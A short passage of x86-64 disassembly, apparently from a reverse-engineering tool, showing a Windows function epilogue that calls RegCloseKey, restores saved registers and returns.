call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret